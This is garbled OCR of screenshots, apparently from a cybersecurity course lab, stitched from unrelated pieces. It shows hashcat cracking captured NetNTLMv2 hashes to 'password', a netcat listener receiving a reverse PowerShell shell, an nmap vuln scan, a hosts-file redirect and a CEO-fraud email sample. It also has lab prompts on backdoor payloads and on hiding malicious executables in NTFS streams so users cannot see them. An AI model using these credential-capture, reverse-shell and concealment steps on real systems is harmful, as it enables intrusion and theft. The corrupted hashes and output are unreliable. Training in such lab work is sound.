Speed.#1. 0 H/s (0.00ms) @ Accel:512 Loops:1 Thr:l Vec:8
Recovered 0/10 (0.00%) Digests (total), 0/10 (0.00%) Digests (new), 0/10 (0.00%) Salts

Progress.
Rejected....
Restore.Point..
Restore.Sub.#1.

: Salt:0 Amplifier:0-0 Iteration:0-1
Candidate.Engine.: Device Generator

Candidates.#1....: [Copying]

Hardware.Mon.#1..: Util: 0%

No password candidates received in stdin mode, aborting

Session.. hashcat
status 5 Aborted
Hash.Mode. .. : 5600 (NetNTLMv2)

SMB-NTLMy2-SSP-Fe80 :: 18dc:9883:56F5:2a69 . txt
Thu Dec 29 16:09:23 2022 (2 mins, 1 sec)

: Thu Dec 29 16:11:24 2022 (0 secs)

optimized Kernel

Hash. Target .
Time.Started. ..
Time.Estimated ..
Kernel.Feature .

Guess. Base. . Pipe
Speed.#1. 0 H/s (0.00ms) @ Accel:512 Loops:1 Thr:l Vec:8

Recovered 0/10 (0.00%) Digests (total), 0/10 (0.00%) Digests (new), 0/10 (0.00%) Salts
Progress.... 0

Rejected.... i o

Restore.Point..
Restore.Sub.#1...: Salt:0 Amplifier:0-0 Iteration:0-1
Candidate.Engine.: Device Generator

Candidates.#1....: [Copying]

Hardware.Mon.#1..: Util: 10%

Started: Thu Dec 29 16:09:17 2022

Stopped: Thu Dec 29 16:11:25 2022
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B kali@kali: Jusr/sharelresponder/logs (x)
File Actions Edit View Help

d00460053003800400490053004300310058004b00500020059004C004800510022004C004F00430041004C000300140059004C00480051002004C004F00430041004c000500140059004c004800510022004c004F00430041004C0007000800809¢6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227 96483146267 fccb26dbe63fcc7c06c6d5Fa29615650779438abs54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10: b13bF19ae3007d39:919ab6c0ea7al4bl5d4esb206d4dF569 : 0101000000000000809e6e1c9c1bdI016a40438c5b70650000000000200080059004C004300510001001005700490042002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004300310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00450051002004C004F00430041004c000500140059004c004800510022004c004F00430041004c0007000800809e6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227296483146a67 Fecb26dbe63fcc7c06c6d5Fa29615650779438abs54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10: 452eca51cc36d63e :abad162cade899c47371d0731307388 0101000000000000809e6e1c9c1bd901637d4e94e93d842000000000200080059004C0043005100010012005700490042002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004300310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00480051002004C004F00430041004c000500140059004c004800510022004C004F00430041004C0007000800809¢6e1cIC1bd901060004000200000008003000
30000000000000000100000000200000322796483146a67 Fccb26dbe63fcc7c06c6d5Fa29615650779438abs54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10:275648734Fa4db03 : be981ab7e9bb1db4181b979a3ed84667  0101000000000000809e6e1c9c1bd901bab0aced064116b000000000200080059004C00430051000100100570049004e002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004300310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00450051002004C004F00430041004c000500140059004c004800510022004C004F00430041004c0007000800809e6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227296483146a67 Fecb26dbe63fcc7c06c6d5Fa29615650779438abs54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10: 59b482706C10b0bf : 7b932b42713692a780bF 1dedF1ac18:0101000000000000809e6e1c9c1bd90162e4d4dc05e0d7CCO00000000200080059004C004300510001001200570049004e002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004300310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00450051002004C004F00430041004c000500140059004C004800510022004C004F00430041004C0007000800809e6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227e96483146a67 Fecb26dbe63fcc7c06c6d5Fa29615650779438abs54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10:2aad89492807570d : c7c4a87e180f01ecadescos541bd6215 :0101000000000000809e6e1c9c1bd90113e85F C036432321000000000200080050004C00430051000100100570049004e002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004300310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00450051002004C004F00430041004c000500140059004C004800510022004C004F00430041004C0007000800809e6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227e96483146a67 Fccb26dbe63fcc7c06c6d5Fa29615650779438abk54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10:1330b1467C3a6212 : 43e9da85a4 326000902 F005324da5 : 0101000000000000809e6e1c9c1bd9012de325d602c22ab1000000000200080059004C004300510001001005700490042002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004300310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00480051002004C004F00430041004c000500140059004c004800510022004c004F00430041004C0007000800809e6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227296483146a67 Fccb26dbe63fcc7c06c6d5Fa29615650779438abs54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10:0880fe117e2dcb3f :8730b5e3e28d256ac067add46b9476C8 :0101000000000000809e6e1c9c1bd9013d20617867¢16d9b000000000200080059004C004300510001001005700490046002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004200310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00450051002004C004F00430041004c000500140059004c004800510022004c004F00430041004C0007000800809e6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227296483146a67 fccb26dbe63fcc7c06c6d5Fa29615650779438abs54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10: b562534d008cf3a: bdabcb1daf4lcsfdbfecdc8621d70e63 :0101000000000000809e6e1c9c1bd901ae243932d18ad6b2000000000200080059004C004300510001001005700490042002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004200310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00480051002004C004F00430041004c000500140059004c004800510022004c004F00430041004C0007000800809e6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227296483146a67 Fecb26dbe63fcc7c06c6d5Fa296156507d79438abk54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password
USER :: WINDOWS10: 3ee47e6bb85548Fe : Seac60bsbf3a1c7a29946893edebebbt : 0101000000000000809e6e1c9c1bd90119e51aed4b1d26b9000000000200080059004C00430051000100100570049004e002d0046005300380042004900530042003100580045005000040034005700490042002
d00460053003800400490053004300310058004b005000220059004C004800510022004C004F00430041004C000300140059004C00450051002004C004F00430041004c000500140059004c004800510022004C004F00430041004C0007000800809e6e1cIC1bd901060004000200000008003000
300000000000000001000000002000003227296483146a67 Fecb26dbe63fcc7c06c6d5Fa296156507d79438abk54a19202001000000000000000000000000000000000000900160063006900660073002F007300650072007600650072000000000000000000: password

Session.. hashcat
status 5 Cracked
Hash.Mode. .. : 5600 (NetNTLMv2)

SMB-NTLMy2-SSP~Fe80 :: 18dc:9883:56F5:2a69. txt
Thu Dec 29 16:15:25 2022 (@ secs)

: Thu Dec 29 16:15:25 2022 (0 secs)

Optimized Kernel

Hash. Target .
Time.Started. ..
Time.Estimated ..
Kernel.Feature .

Guess.Base. . File (/usr/share/wordlists/rockyou.txt)
Guess.Queue. : 1/1 (100.00%)

Speed. #1. 114.5 kH/s (2.60ms) @ Accel:512 Loops:1 Thr:1 Vec:8

Recovered 10/10 (100.00%) Digests (total), 10/10 (100.00%) Digests (new), 10/10 (100.00%) Salts
Progress. : 10240/143443850 (0.01%)

Rejected....
Restore.Point..
Restore.Sub.#1.

0/10240 (0.00%)

0/14344385 (0.00%)

: salt:o Amplifier:0-1 Iteration:0-1
Candidate.Engine. : Device Generator

Candidates.#1....: 123456 — bethany
Hardware.Mon.#1..: Util: 52%

Started: Thu Dec 29 16:15:21 2022
Stopped: Thu Dec 29 16:15:26 2022
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There are different hash types present in the list. What are they
used for? Do research on different kinds of hashes and their

purpose.
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If yes, how did the tool gather the password hashes.

If No, why? What error did you get? Do research and
troubleshoot the error.

Possible Error: The system cannot execute the specified program
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What is your understanding on the entire process of using
Winrtgen, Rainbow Crack and Pwdump Tools.
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So far, we have created two different payloads. What is the difference g
between them? Do research to different payloads and its purposes. & [
Use adequate literatures to in-text cite. (Use the work for your
Coursework)
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What happened when executing the backdoor?
Did the file execute? No, it wont execute the exe fil
A error message pops out stating required DLL File was not found or
missing.
Do research to find out steps to execute the exe file along with the
required DLL File.

q .n

Document the step with adequate screenshot and description. You shall use
these identified steps in your coursework.

By hiding files using NTFS File Streams, what could you achieve? i
-

Two Dimensions: As an attacker, based on your activities so far, where
you have created different exe files/ backdoors that you used to gain and
maintain access. Those files could be hidden using NTFS streams (like this
method), so that the users could not see your malicious file. So, you could

execute them remotely whenever you need it. If you are a security personal
doing a penetration testing) keep in mind that the malicious files could

be hidden in this format which needs your attention.
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il server 2016 (Snapshot 1) [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
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& [GET / ETTR/1.1

(o3 [Host: www.shroomsdispensary.com.au

@ [comnection: close

Com [User-Agent: Sam Spade 1.14

@
Pste lHTTR/1.1 403 Forbidden

@ [connection: close

Frg |cache-control: private, no-cache, no-store, must-revalidate, max-age=0
% ragma: no-cache

content-type: text/html

& |content-length: 699
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a, [platform: hostinger
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% [<IDOCTYPE html>
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o cmeta nam

8 x

"viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />

title> 403 Forbidden
/title></head>
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289141068485 Tp-LinkT 02:af:e5  Broadcast > 60 Wino has 192.168.1.12 Tell 192.168.1.30
290141593955  169.250.20.168  239.255.255.250  SSDP 217 M-SEARCH * HTTP/L1
291141593955  169.250.20.168  239.255.255.250  SSDP 217 M.SEARCH * HTTP/11
292181991030 2001:dbBiacad:1i1l FR02:i1FFO0:l  IOBVG 86 Neighbor Solicitation for feB0::1 from 18:d6:c7:03:0a:bd
293142060223 Tp-LinkT_02: Broadcast > 60 Wino has 192.168.1.12 Tell 192.168.1.30
295 143063988 Tp-LinkT_02: Broadcast w 60 Who has 192.168.1.12 Tell 192.168.1.30
296 143, 160151 Cisco 92 WP 60 Reply
299 108.019473  2001:dbBiacad:1ii11 FO2:i1:FFO0:L  IOWVG 86 Weighbor Solicitation for feB0::1 from 18:d6:c7:03:0a:bd -
300 144.055105  192.168.200.192 192.168.200.255 BROWSER 243 Host Announcement CYBERSEC-519-02, Workstation, Server, NT Workstation, NT Server
301 144.063765  Tp-LinkT 02 Broadcast 3 60 Hno has 192.168.1.12 Tell 192.168.1.30
303 145.004018  2001:dbBiacad:1iill FRO2LFFO0:  IOWVE 86 Weighbor Solicitation for fed0::1 from 18:d6:c7:03:
304 185.063534  Tp-LinkT 02 Broadcast o 60 Wno has 192.168.1.12 Tell 192.168.1.30

305 145.996616 I0Wv6 86 Neighbor Solicitation for e80::1 from 18:d6:c7:03:0a:bd

~ Frame 300: 243 bytes on wire (1984 bits), 243 bytes captured (1944 bits) on interface \Device\NPF_(2EFOB22E-FEAd-4, | 0000 F FF Ff Ff Ff Ff 78 bl 56 bO e4 82 08 00 45 00 vooE
Section number: 1 0 €5 70 5 00 00 80 11 ab 92 0 a8 B O O a8 - -{\
Interface id: @ (\Device\NPF_(2EF9B22E-FEA4-4A72-A418-F3120F552FEC)) 20 c8 £ 00 8a 00 8a 00 1 ce 33 11 0e bb c1 CO a8 3
Encapsulation type: Ethernet (1) 0 8 c0 00 8a 00 bb 00 00 20 45 44 46 4a 45 43 45 EDFIECE
Nov 29, 2022 12:29:31.569719000 GHT Standard Time 46 46 43 46 44 45 46 45 44 43 de 46 44 44 42 44 FFCFDEFE DCNFDDBD
[Time shift for this packet: 0.009000000 seconds] 4 43 4e 44 414443 43 41 00 20 45 44 45 4a 46 JCNDADCC A- EDEJF.
Epoch Time: 1669724971.569719000 seconds 44 85 44 85 50 43 4183 41 43 41 43 41 43 41 43 DEDEPCAC ACACACAC
[Time delta from previous captured frame: 0.035632000 seconds] 4143 4143 8143 8183 41 42 de 00 £ 53 44 42 ACACACAC ABN.-SHB
[Time delta from previous displayed frame: 0.935632000 seconds] 030 25 60 60 60 60 60 60 60 00 00 00 00 00 00 00 00 % Focoe]
144055105000 seconds] 0% 60 60 60 60 60 60 60 60 00 00 00 00 11 00 00 21 -~ i
e e 20 wytes (196 bits) 0 60 00 00 00 00 00 00 00 €3 03 00 00 00 00 00
o Lot s oyees (19 bits) 00 00 00 21 00 56 00 63 00 01 00 00 00 02 00 32 -1 .V. 2
00 5c 4d 41 49 4c 53 4 4F 54 5c 42 52 47 5753 \WAILSL OT\BROKS

[Frame i marked: False]

[Frame is ignored: False]

[Protocols in frame: eth:ethertype:ip:udp:nbdga: subibrowser]
[Coloring Rule Nane: SWB]

[Coloring Rule String: swb || nbss || nbns || netbios]

4500 0100 80 Fc 02 09 43 59 42 45 5253 4543 CYBeRsEC
24533139 24 30 32 00 0a 00 03 90 00 00 OF 01  -519-02
000 55 23 00 u

:82), Dst: Broadcast (FF:7¢:

~ Ethernet 11, Src: Dell bo:ed:82 (f8:
Destination: Brosdcast (FF:FF:F:
Sounce: Dell_bo:ed:52
Type: TPva (6x0800) v
© 7 thamet <ine captreinprogress> Packes 1228 Dsploye: 1228 1000%
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(kali® kali)-[~]
Q nmap -Pn --script vuln 192.168.200.71
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-30 09:56 EST
Nmap scan report for 192.168.200.71
Host is up (0.0061s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp  open msrpc
139/tcp open netbios-ssn
445/tcp  open microsoft-ds
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown

Host script results:
| _smb-vuln-ms10-054: false

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

Nmap done: 1 IP address (1 host up) scanned in 116.75 seconds

(kali® kali)-[~]
[y
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8080
Listening on [any] 8080
10.0.2.8: inverse host lookup failed: Host name lookup failure
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.8] 57151
Windows Powershell
Copyright (C) Microsoft Corporation. ALl rights reserved

Try the new cross-platform Powershell https://aka.ms/pscore6

PS C:\Users\User> hostname
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Windows10
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® Mary CEO
To: Joe.CFO@example.com

Hi Joe

18 February 2016 at 11:00 AM

HiJoe
Are you in the office? Kindly let me know because i need you to
send out an important payment for me today.

Thank you,
Mary CEO

Sent from my iPhone
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Copyright (c) 1993-2009 Microsoft Corp.

Date modified Type

31/10/2022039  File
This is a sample HOSTS file used by Microsoft TCP/IP for Windows. 16/07/2016 1421 SAM
16/07/2016 1421 File
16/07/2016 1421 File
16/07/2016 1421 File

This file contains the mappings of IP addresses to host names. Each
entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.
The TP address and the host name should be separated by at least one
space.

Additionally, comments (such as these) may be inserted on individual
lines or following the machine name denoted by a '#' symbol.

For example:

102.54.94.97 rhino. acme. com # source server
38.25.63.10  x.acme.com # x client host

S W W W

localhost name resolution is handled within DNS itself.
127.0.0.1 localhost
i1 localhost

10.0.2.9 wad. goodshopping. com
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